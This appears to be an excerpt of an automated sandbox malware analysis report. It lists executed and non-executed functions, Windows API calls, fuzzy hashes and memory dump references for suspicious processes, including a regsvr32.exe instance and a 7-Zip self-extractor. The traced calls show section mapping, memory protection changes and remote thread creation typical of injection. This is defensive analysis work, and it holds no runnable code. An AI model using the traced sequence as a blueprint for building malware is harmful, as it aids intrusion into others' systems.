Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000003.00000002.1983903477.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ufhjbuw.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 74fb996ba95ec06bb2abe22af5600ab9efc13f551b73dbf86f34961914988ff4
Instruction ID: 68c2b1bb8267a16b47d2b790190fa602822f098e0b694be4ddc2e306b3be1968
Opcode Fuzzy Hash: 74fb996ba95ec06bb2abe22af5600ab9efc13f551b73dbf86f34961914988ff4
Instruction Fuzzy Hash: 2AF086B5208204FADB006BD59D61EBA3768AB44354F204137BA13790F1C57D8912F72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040197A Relevance: 1.3, APIs: 1, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000003.00000002.1983903477.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ufhjbuw.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: f19d6598d7b3f8bbc47500c90c3d0bc6a0ede41a7b6f28d3ccddc132527cc834
Instruction ID: 49220a4dcaca44086484813bdb512237367292e15b320859d1a96440f4f24ef4
Opcode Fuzzy Hash: f19d6598d7b3f8bbc47500c90c3d0bc6a0ede41a7b6f28d3ccddc132527cc834
Instruction Fuzzy Hash: 7801A7B1208244FBDB016BD19D62EB93768AB05354F204537FA53790F2C67D8912E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00426276 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000000,00426E43), ref: 0042627E

Memory Dump Source

Source File: 00000003.00000002.1983934615.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_ufhjbuw.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: c63c633476a6b30e3cbc72ccf2760e4f1e962cc8df0d4cd49a32820b50132be8
Instruction ID: fc1c605fa557deb304322e7621df349ca9de26fb8ada197018152d43c4ea838b
Opcode Fuzzy Hash: c63c633476a6b30e3cbc72ccf2760e4f1e962cc8df0d4cd49a32820b50132be8
Instruction Fuzzy Hash: C9B09270906202BACB010B50BC04B043A60A308202F029038E10044169CE6100009E18

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004108BC Relevance: 66.4, APIs: 44, Instructions: 432COMMONLIBRARYCODE

Download Yara Rule

APIs

___getlocaleinfo.LIBCMT ref: 004108F3
___getlocaleinfo.LIBCMT ref: 00410908
___getlocaleinfo.LIBCMT ref: 0041091D
___getlocaleinfo.LIBCMT ref: 00410932
___getlocaleinfo.LIBCMT ref: 0041094A
___getlocaleinfo.LIBCMT ref: 0041095F
___getlocaleinfo.LIBCMT ref: 00410971
___getlocaleinfo.LIBCMT ref: 00410986
___getlocaleinfo.LIBCMT ref: 0041099E
___getlocaleinfo.LIBCMT ref: 004109B3

Memory Dump Source

Source File: 00000003.00000002.1983934615.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_ufhjbuw.jbxd

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: 2ae363ac02f4675a99ef2d0811e9ab02511fa2d8fd44f1555ce616a9256f3ba2
Instruction ID: 1d8a4a4208fe846f8572adedd4c486c13295830ddccbb16d2b6caae59cd68764
Opcode Fuzzy Hash: 2ae363ac02f4675a99ef2d0811e9ab02511fa2d8fd44f1555ce616a9256f3ba2
Instruction Fuzzy Hash: 81E1BFB2D0021DBEEF11DAE1CC41DFF77BDEB48748F04452AB255F2081EA75AA099B64

Uniqueness

Uniqueness Score: -1.00%

Function 00426C1F Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 193timememorynetworkCOMMON

Download Yara Rule

APIs

SetConsoleCP.KERNEL32(00000000), ref: 00426C5A
GetLastError.KERNEL32 ref: 00426C60
GetCompressedFileSizeA.KERNEL32(00000000,?), ref: 00426C7E
TlsSetValue.KERNEL32(00000000,00000000), ref: 00426C88
CopyFileExW.KERNEL32(0042A884,0042A840,00000000,00000000,00000000,00000000), ref: 00426CD8
AddAtomA.KERNEL32(00000000), ref: 00426CE0
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00426CE8
GetModuleHandleW.KERNEL32(00000000), ref: 00426CF0
EnumDateFormatsExA.KERNEL32(00000000,00000000,00000000), ref: 00426CFC
RtlTryEnterCriticalSection.NTDLL(?), ref: 00426D12
FreeLibrary.KERNEL32(00000000), ref: 00426D55
LocalFree.KERNEL32(00000000), ref: 00426D5D
SetTimeZoneInformation.KERNEL32(00000000), ref: 00426D6F
DnsHostnameToComputerNameW.KERNEL32(0042A8B8,?,?), ref: 00426D88
IsProcessInJob.KERNEL32(00000000,00000000,00000000), ref: 00426D94
SetCurrentDirectoryA.KERNEL32(00000000), ref: 00426D9C
CreateWaitableTimerW.KERNEL32(00000000,00000000,00000000), ref: 00426DA8
CompareStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00426DBA
GetLongPathNameA.KERNEL32(0042A96C,?,00000000), ref: 00426DCE
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00426DDA
VirtualLock.KERNEL32(00000000,00000000), ref: 00426EA8

Strings

tl_, xrefs: 00426C9F

Memory Dump Source

Source File: 00000003.00000002.1983934615.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_ufhjbuw.jbxd

Similarity

API ID: Free$FileName$AtomCompareCompressedComputerConsoleCopyCreateCriticalCurrentDateDirectoryEnterEnumEnvironmentErrorFormatsHandleHeapHostnameInformationLastLibraryLocalLockLongModulePathProcessSectionSizeStringStringsTimeTimerValueVirtualWaitableZone
String ID: tl_
API String ID: 3672566368-2653253968
Opcode ID: 023b01b2221e3b475b69840e1338eb58c9f171fb43f840df13a42cd57c5a8a76
Instruction ID: 593f59daaad18869312403a55f7fc19da0f2a56b7eb65824d8e59fabf7132564
Opcode Fuzzy Hash: 023b01b2221e3b475b69840e1338eb58c9f171fb43f840df13a42cd57c5a8a76
Instruction Fuzzy Hash: C9716F31B45314EFEB20AB55FC46B9C77B4AB04716F92407AF209AA1D0CBB81985CF1E

Uniqueness

Uniqueness Score: -1.00%

Function 00415DB8 Relevance: 10.7, APIs: 7, Instructions: 166COMMONLIBRARYCODE

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,0042A804,00000001,?,004360B4,?,00000000,?,?,?,00415FA2,00000001,?,0040DB7F,?,?), ref: 00415DE7
GetLastError.KERNEL32(?,00415FA2,00000001,?,0040DB7F,?,?,?,?,0040DB7F,?,00000001,0040DB7F,00000000,?,00410202), ref: 00415DF9
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,00410202,0040DB7F,00000004), ref: 00415ED6
__freea.LIBCMT ref: 00415EE0
___ansicp.LIBCMT ref: 00415F0A
___convertcp.LIBCMT ref: 00415F2B

Part of subcall function 00417DBB: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,?,?,00000000,00000000), ref: 00417EE7

GetStringTypeA.KERNEL32(?,?,?,?,?,004360B4,?,00000000,?,?,?,00415FA2,00000001,?,0040DB7F,?), ref: 00415F4B

Memory Dump Source

Source File: 00000003.00000002.1983934615.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_ufhjbuw.jbxd

Similarity

API ID: StringType$ByteCharErrorLastMultiWide___ansicp___convertcp__freea
String ID:
API String ID: 2117302395-0
Opcode ID: 68925163f8d2cb2ffe34cbaa868f7041e780839bbbf2ba4cae6835cd480bb5fe
Instruction ID: ca033a73e6e72983c9a9d679e9bdb60d592808fde03c7af922bf76edf28fa3e8
Opcode Fuzzy Hash: 68925163f8d2cb2ffe34cbaa868f7041e780839bbbf2ba4cae6835cd480bb5fe
Instruction Fuzzy Hash: CD51947190060AEFDF209F64DC819EF3BA9EB44354B14442BF914D7251D739CEA28F98

Uniqueness

Uniqueness Score: -1.00%

Function 00426B79 Relevance: 10.6, APIs: 7, Instructions: 62pipewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00426AA6: CreateJobObjectW.KERNEL32(00000000,0042A808), ref: 00426ABE
Part of subcall function 00426AA6: HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00426ADE
Part of subcall function 00426AA6: QueryPerformanceFrequency.KERNEL32(?), ref: 00426AE8

AbortSystemShutdownA.ADVAPI32(00000000), ref: 00426BB2
RtlLeaveCriticalSection.NTDLL(?), ref: 00426BBF
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00426BC6
EqualSid.ADVAPI32(00000000,00000000), ref: 00426BCE
ReadEventLogW.ADVAPI32(00000000,00000000,00000000,?,00000000,?,?), ref: 00426BED
CreateNamedPipeA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00426BFB
SetMessageWaitingIndicator.KERNEL32(00000000,00000000), ref: 00426C03

Memory Dump Source

Source File: 00000003.00000002.1983934615.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_ufhjbuw.jbxd

Similarity

API ID: CreateFree$AbortCriticalEnvironmentEqualEventFrequencyHeapIndicatorLeaveMessageNamedObjectPerformancePipeQueryReadSectionShutdownStringsSystemWaiting
String ID:
API String ID: 1499581954-0
Opcode ID: 554733c9555090acae26fb75125752e492cde8f7e525f2d39a28a07975cfd069
Instruction ID: 7bb71a299ec9fd597a22554f06b932c273aa18c07b422c39bf0ba1d0a5452d15
Opcode Fuzzy Hash: 554733c9555090acae26fb75125752e492cde8f7e525f2d39a28a07975cfd069
Instruction Fuzzy Hash: DC110072602424BBCB21AB65ED48DDF7B7CEF4A355B41406AF20992111CE345A4ACFAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040F061 Relevance: 9.1, APIs: 6, Instructions: 98COMMON

Download Yara Rule

APIs

__copytlocinfo_nolock.LIBCMT ref: 0040F0DA
__setlocale_nolock.LIBCMT ref: 0040F0EF
___removelocaleref.LIBCMT ref: 0040F13C
_sync_legacy_variables_lk.LIBCMT ref: 0040F175

Memory Dump Source

Source File: 00000003.00000002.1983934615.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_ufhjbuw.jbxd

Similarity

API ID: ___removelocaleref__copytlocinfo_nolock__setlocale_nolock_sync_legacy_variables_lk
String ID:
API String ID: 219049737-0
Opcode ID: dacc1972c0434a0bf5af0a5a41b4905e0ab1bd420b2feee1509a2fb71b3498ae
Instruction ID: e82b908fcd04b0c8271428fc9e876450d87c6f8e9b7736501bad91097e15c42b
Opcode Fuzzy Hash: dacc1972c0434a0bf5af0a5a41b4905e0ab1bd420b2feee1509a2fb71b3498ae
Instruction Fuzzy Hash: BB319E71A04304EADB20BFA6D88275D77A0AF44318F64847FF8057A2D2DBBC8949965D

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF5F Relevance: 9.1, APIs: 6, Instructions: 95COMMON

Download Yara Rule

APIs

__copytlocinfo_nolock.LIBCMT ref: 0040EFDD
__setlocale_nolock.LIBCMT ref: 0040EFEA
___removelocaleref.LIBCMT ref: 0040EFF6
___freetlocinfo.LIBCMT ref: 0040EFFD
___removelocaleref.LIBCMT ref: 0040F02A
___freetlocinfo.LIBCMT ref: 0040F031

Memory Dump Source

Source File: 00000003.00000002.1983934615.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_ufhjbuw.jbxd

Similarity

API ID: ___freetlocinfo___removelocaleref$__copytlocinfo_nolock__setlocale_nolock
String ID:
API String ID: 2861315002-0
Opcode ID: 676938aa1b07ffee4317a3e9da7522dc6a978b0ffa9d9d955223042bd2505dcb
Instruction ID: 1e9a1880e5c348e0703ca33c00f51b07e8167d824e2e2b5aeb5d90bb728b835f
Opcode Fuzzy Hash: 676938aa1b07ffee4317a3e9da7522dc6a978b0ffa9d9d955223042bd2505dcb
Instruction Fuzzy Hash: 0C21D635508602AED7357F27D80291A7BE4DF9176CB20883FF884762E2EE7DA810865D

Uniqueness

Uniqueness Score: -1.00%

Function 00426AF0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 48COMMON

Download Yara Rule

APIs

FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00426B1C
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,?,00000000), ref: 00426B43
GetModuleHandleW.KERNEL32(00000000), ref: 00426B4A

Strings

-, xrefs: 00426B57
-, xrefs: 00426B16

Memory Dump Source

Source File: 00000003.00000002.1983934615.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_ufhjbuw.jbxd

Similarity

API ID: EnvironmentFreeHandleModuleStringStrings
String ID: -$-
API String ID: 1582636504-2078519666
Opcode ID: 8f32ab569507f01aa0049d6880b6fb86c3b21e050f5aecc8115885299aab47e4
Instruction ID: a5cf57eb544cada761a9054dbdeb56e39503428340a04bc9be4330430455ef5c
Opcode Fuzzy Hash: 8f32ab569507f01aa0049d6880b6fb86c3b21e050f5aecc8115885299aab47e4
Instruction Fuzzy Hash: 9401F930600124ABC7709F29ECC4D5F7FF8EB89314B92406EE451D7160CE34598ACB99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 2004, Parent PID: 6240COMMON

Execution Graph

Execution Coverage:	28.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	58
Total number of Limit Nodes:	12

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 04C81000 Relevance: 6.5, APIs: 4, Instructions: 474
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,00000001,?,-00000001,-00000001,?,?,795F5BE9,?,00000001,00000000,9590D1A0,1DF7061D,?,00000000), ref: 04C813C1
VirtualProtect.KERNEL32(?,?,?,?), ref: 04C81452
VirtualProtect.KERNEL32(?,?,?,?), ref: 04C81495
VirtualAlloc.KERNEL32(?,?,?,?,D6CB7F5B,B19E9A75,?,00000001,000000FF), ref: 04C81555

Memory Dump Source

Source File: 00000007.00000002.1981296431.0000000004C81000.00000020.00001000.00020000.00000000.sdmp, Offset: 04C81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4c81000_regsvr32.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: a13c56620484702d4540ff6d1e7d0985b5cfdc8d2662caac51adeda587301f79
Instruction ID: 473946ce01268717c307737b20a1b762cee4fc0b5323483e9cbb2a217814d617
Opcode Fuzzy Hash: a13c56620484702d4540ff6d1e7d0985b5cfdc8d2662caac51adeda587301f79
Instruction Fuzzy Hash: B3F1E4766043108FD718CF29C88466BB7E7BFC8714F1AC66DE8899B354DA34EC068B91

Uniqueness

Uniqueness Score: -1.00%

Function 04DC1FC0 Relevance: 1.7, APIs: 1, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNEL32(?), ref: 04DC20E4

Memory Dump Source

Source File: 00000007.00000002.1981408251.0000000004DC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4dc1000_regsvr32.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 55fb1617748b7de478714b5e312ec9766066b521c01e928219f7778c7c2684d2
Instruction ID: 25a86a2f3f2e1260f94260a45b958795e93f5c7a136fd1c583516506665d6802
Opcode Fuzzy Hash: 55fb1617748b7de478714b5e312ec9766066b521c01e928219f7778c7c2684d2
Instruction Fuzzy Hash: 63814B76A087118FC314CF29C88055BB7E2FFC8310F568A6EE5959B358D734B906CB92

Uniqueness

Uniqueness Score: -1.00%

Function 04DC8710 Relevance: 1.7, APIs: 1, Instructions: 192
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MapViewOfFile.KERNEL32(?,?,?,?,?), ref: 04DC882F

Memory Dump Source

Source File: 00000007.00000002.1981408251.0000000004DC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4dc1000_regsvr32.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 3132ba2a2f8e37d1846628c23b9c9f8803c3a876f31a6b3a4dcfc79bb3822745
Instruction ID: 520ff740cf39730626c250253d8c3dcd0c14f2f583e62c53548d2f40edd6b54c
Opcode Fuzzy Hash: 3132ba2a2f8e37d1846628c23b9c9f8803c3a876f31a6b3a4dcfc79bb3822745
Instruction Fuzzy Hash: 0F71A172A087618FC714CF29D88055BB7E2BFC8350F56892DF995A7364D634EC06CB82

Uniqueness

Uniqueness Score: -1.00%

Function 04DC1C80 Relevance: 1.7, APIs: 1, Instructions: 189
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateThreadEx.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 04DC1E38

Memory Dump Source

Source File: 00000007.00000002.1981408251.0000000004DC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4dc1000_regsvr32.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: dbbcdfcf5644a128e09e35280916ceeeb35af4c6c3b6af49eff7b69e2a579ab3
Instruction ID: cb7903ce972fd59f6e1458d2c45c4bd457c2150525bdda2638c0b138f1809a8c
Opcode Fuzzy Hash: dbbcdfcf5644a128e09e35280916ceeeb35af4c6c3b6af49eff7b69e2a579ab3
Instruction Fuzzy Hash: 3C716B766087018FC715CF69C890A5BBBE3FFC9350F598A1DE59587368DA34E805CB82

Uniqueness

Uniqueness Score: -1.00%

Function 04DC16E9 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(?,?,?,?,?,?), ref: 04DC1726

Memory Dump Source

Source File: 00000007.00000002.1981408251.0000000004DC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4dc1000_regsvr32.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: d96344702246819a489ec6ad4fdc5d5660be76fec898eb51eca553cbdf48f69b
Instruction ID: 07ae28002f019a9521c213e693500b7f71b55fee6f98263690700eae42aba526
Opcode Fuzzy Hash: d96344702246819a489ec6ad4fdc5d5660be76fec898eb51eca553cbdf48f69b
Instruction Fuzzy Hash: 46511876E10119CBCF14CFA9C991AADF7B2FF88314F258199C456AB255DB30AD86CF40

Uniqueness

Uniqueness Score: -1.00%

Function 04DC86F0 Relevance: 1.6, APIs: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MapViewOfFile.KERNEL32(?,?,?,?,?), ref: 04DC882F

Memory Dump Source

Source File: 00000007.00000002.1981408251.0000000004DC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4dc1000_regsvr32.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 97f5980f527d70e8d65a3e144054e54a0e2a2daba335eed7fcbf78a1b69837d6
Instruction ID: 2916db35159a50183e11842d3ff7cf8896b7de7dc9169c8f3cac355f2bc1ad90
Opcode Fuzzy Hash: 97f5980f527d70e8d65a3e144054e54a0e2a2daba335eed7fcbf78a1b69837d6
Instruction Fuzzy Hash: BD31E572E087618FC711CF69C88065BBBE2AFC8750F56896DF9849B765D634C806CB82

Uniqueness

Uniqueness Score: -1.00%

Function 04DC870F Relevance: 1.6, APIs: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MapViewOfFile.KERNEL32(?,?,?,?,?), ref: 04DC882F

Memory Dump Source

Source File: 00000007.00000002.1981408251.0000000004DC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4dc1000_regsvr32.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: fad0a7eae3943d6ab2ea7eece2d7452a9bfb4b303731b4cca0cac27bfb59c7c2
Instruction ID: 1d130977ab53bb470b9d513da46feb6c7193268c9c3726a69a48139c2940d2f6
Opcode Fuzzy Hash: fad0a7eae3943d6ab2ea7eece2d7452a9bfb4b303731b4cca0cac27bfb59c7c2
Instruction Fuzzy Hash: 7E31AF72A087618FC710CF69C880A5BBBF2BFD8750F56892DF99597364DA34D806CB81

Uniqueness

Uniqueness Score: -1.00%

Function 04DC89B0 Relevance: 1.5, APIs: 1, Instructions: 209
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 04DC8AE2

Memory Dump Source

Source File: 00000007.00000002.1981408251.0000000004DC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4dc1000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 142edb86e710ab6bf6f4992881c25862ba229be0c251af75a9e29eac28416cb6
Instruction ID: 37f9930f482c447cd33cacbc8837ab9f55e336ff7225ef9db3d00335ec8ee311
Opcode Fuzzy Hash: 142edb86e710ab6bf6f4992881c25862ba229be0c251af75a9e29eac28416cb6
Instruction Fuzzy Hash: EC819073A187218FC714DF29C88055AB7E2BFC8310F5A4A2DE9959B754DA31FC02CB81

Uniqueness

Uniqueness Score: -1.00%

Function 04DC47B0 Relevance: 1.4, APIs: 1, Instructions: 178
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 04DC48E2

Memory Dump Source

Source File: 00000007.00000002.1981408251.0000000004DC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4dc1000_regsvr32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: f07a60ad43d9737788690ae6dadda596156cc3814e82962e9b714f73f23f133c
Instruction ID: abdb9e1d39e2b20acb5d404739a68b46e52b09f01796e331f9c9835867dd1e72
Opcode Fuzzy Hash: f07a60ad43d9737788690ae6dadda596156cc3814e82962e9b714f73f23f133c
Instruction Fuzzy Hash: EE619F736186528BC718CE39D85062BB7E3BFC9310F1A8A2DE595DB394DA34F801CB81

Uniqueness

Uniqueness Score: -1.00%

Function 04B3199E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32 ref: 04B319F4
VirtualProtect.KERNEL32 ref: 04B31A75

Strings

`, xrefs: 04B31CD4

Memory Dump Source

Source File: 00000007.00000002.1981233885.0000000004B30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b30000_regsvr32.jbxd

Similarity

API ID: ProtectVirtual
String ID: `
API String ID: 544645111-2679148245
Opcode ID: 4f2df955c4c2142ed679c2b80ec2d53c4b72f39a6f00f90121dcef2753187969
Instruction ID: 3db97500ec1215555f66f01f1e01a75a371ff8552813244df31d68858d528a4e
Opcode Fuzzy Hash: 4f2df955c4c2142ed679c2b80ec2d53c4b72f39a6f00f90121dcef2753187969
Instruction Fuzzy Hash: 1DA1BBB4E042188FDB28CF99C980B9DFBB1FF48310F1581AAD908AB356D735A985CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04B31AA2 Relevance: 1.6, APIs: 1, Instructions: 62
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32 ref: 04B31AF3

Memory Dump Source

Source File: 00000007.00000002.1981233885.0000000004B30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b30000_regsvr32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ffd9cec59e113ce126e5be9c929a974847e29e8ef9a930cea61375b90080154c
Instruction ID: bdf8d2cff20e3efebc70cf658acf0a980546b5ff710c0c4289b176c63d3e754f
Opcode Fuzzy Hash: ffd9cec59e113ce126e5be9c929a974847e29e8ef9a930cea61375b90080154c
Instruction Fuzzy Hash: 073183B5E012288FDB64CF09CC90B98BBB2FF49304F1581D9C909AB355E775A981CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04B3109F Relevance: 1.3, APIs: 1, Instructions: 85
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 04B31117

Memory Dump Source

Source File: 00000007.00000002.1981233885.0000000004B30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b30000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 68a50d5c3ac6f58a3b8ec706c32ce1176a22f03b0707ad385248a146ed972a20
Instruction ID: 690d1581d3d64378b2f192544c9a63588ceb18dc4d50aed0869f8b117417e75d
Opcode Fuzzy Hash: 68a50d5c3ac6f58a3b8ec706c32ce1176a22f03b0707ad385248a146ed972a20
Instruction Fuzzy Hash: E64102B49012058FDB48DFA9C554B9EBBF0FF48308F2485ADD858AB341D37AA946CF91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 3BD2.exePID: 1432, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	12.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	35

Executed Functions

Function 004067D5 Relevance: 83.4, APIs: 14, Strings: 33, Instructions: 1169windowCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00406802
MessageBoxA.USER32(00000000,Sorry, this program requires Microsoft Windows 2000 or later.,7-Zip SFX,00000010), ref: 0040771B

Part of subcall function 00406390: LoadLibraryA.KERNEL32(kernel32), ref: 004063A1
Part of subcall function 00406390: #17.COMCTL32 ref: 004063AC
Part of subcall function 00406390: SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000), ref: 0040642D
Part of subcall function 00406390: wsprintfW.USER32 ref: 00406441

GetCommandLineW.KERNEL32(?), ref: 00406862
GetCommandLineW.KERNEL32(00000001,?,?,?,?,00000000), ref: 004068AC
wsprintfW.USER32 ref: 004068D6

Part of subcall function 00405C24: lstrlenW.KERNEL32(?), ref: 00405C6E
Part of subcall function 00405C24: lstrlenW.KERNEL32(?), ref: 00405C79

GetModuleFileNameW.KERNEL32(00000000,00000000,00000208,00000208), ref: 004069B2
wsprintfW.USER32 ref: 00406D9B
GetCommandLineW.KERNEL32(?), ref: 00406E5D
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,00000000,?,00000000,00000020), ref: 00406F21
SetProcessWorkingSetSize.KERNEL32(00000000), ref: 00406F28
CoInitialize.OLE32(00000000), ref: 0040706C

Strings

SfxVarApiPath, xrefs: 004070E7, 00407123, 004073F9
sfxversion, xrefs: 00406948
ExecuteOnLoad, xrefs: 004070F7, 004070FC, 0040715D
SfxVarCmdLine0, xrefs: 004068AF
x}B, xrefs: 0040716E
BeginPrompt, xrefs: 00407179
Delete, xrefs: 004075E1
7ZipSfx.%03x, xrefs: 00407318
HelpText, xrefs: 00406FF9
h1^, xrefs: 0040707D, 00407097, 00407326, 00407340, 00407348, 0040737F, 00407456, 004074E6, 00407555
setup.exe, xrefs: 004074D6, 0040755E
RunProgram, xrefs: 00407283, 00407293
SfxVarSystemLanguage, xrefs: 004068F2
Shortcut, xrefs: 004075BC
